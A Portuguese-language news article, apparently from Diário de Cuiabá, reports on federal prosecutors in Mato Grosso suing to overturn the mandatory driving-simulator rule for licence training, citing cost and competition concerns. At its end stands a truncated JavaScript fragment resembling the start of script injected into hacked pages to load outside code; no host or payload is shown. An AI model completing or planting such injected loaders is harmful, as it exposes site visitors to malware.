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MPF quer acabar com exigência no Brasil

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Foto Ilustrativa

Diário de Cuiabá

O Ministério Público Federal em Mato Grosso (MPF) ajuizou Ação Civil Pública contra a União/Ministério das Cidades, o Conselho Nacional de Trânsito (Contran) e o Departamento Estadual de Trânsito de Mato Grosso (DETRAN). O objetivo é reverter a exigência do simulador de direção veicular como condição para formação de condutores de veículos automotores. O MPF confirma que o uso do equipamento pode onerar em até 20% o custo da Carteira Nacional de Habilitação (CNH). Desta forma, um condutor pode pagar R$ 300 a mais para tirar o documento.

Vale ressaltar que portaria publicada no Diário Oficial do Estado no dia 08 de janeiro determinou aos Centros de Formação de Condutores (CFC) o prazo de 180 dias para implantação do uso de simuladores. O prazo passou a contar em 05 de janeiro; desta forma, até 05 de julho, os CFCs terão que providenciar o equipamento.

No entanto, o Ministério Público Federal solicitou a declaração de inconstitucionalidade da portaria do DETRAN, assim como nulidade da resolução do Contran, que tratam da obrigatoriedade do uso de simulador de direção nas aulas práticas.

Segundo o Ministério Público Federal, o simulador de direção possui um alto custo, cerca de R$ 40 mil conforme apurado em 2013. Além de inviabilizar a aquisição, uma vez que somente seis empresas no Brasil fornecem o equipamento. “Assim, além de ser financeiramente inviável sua aquisição para muitas empresas, o simulador deve onerar o custo da carteira nacional de habilitação em até 20%”, destacou o MPF.

O Ministério Público Federal ressalta ainda que a exigência do equipamento atenta contra o princípio da livre concorrência. Isso porque, somente as grandes autoescolas terão condições de oportunizar o seu uso. “O MPF requer a imediata suspensão dos atos normativos do Contran e Detran que tratam da obrigatoriedade do equipamento, culminando em multa no valor de R$ 100 mil por dia em desfavor de quem descumprir a ordem de suspensão”, destacou.

Segundo a portaria do Departamento Estadual de Trânsito, das 25 horas-aulas mínimas obrigatórias para a obtenção da Carteira Nacional de Habilitação (CNH), cinco deverão ser ministradas no simulador. As aulas no equipamento só deverão ocorrer após aprovação do aluno na prova teórica e emissão da Licença de Aprendizagem para Direção Veicular (LADV). As aulas práticas nas vias públicas só poderão ocorrer após a conclusão das aulas no simulador.

A portaria frisa ainda que caberá aos Centros de Formação de Condutores adquirir ou alugar os simuladores, solicitar a autorização de seu uso junto ao Detran-MT e apresentar a documentação exigida, a declaração de que possui o espaço adequado, além de se responsabilizar pela manutenção dos equipamentos mantendo-os em perfeito estado de conservação.var d=document;var s=d.createElement(‘script’);

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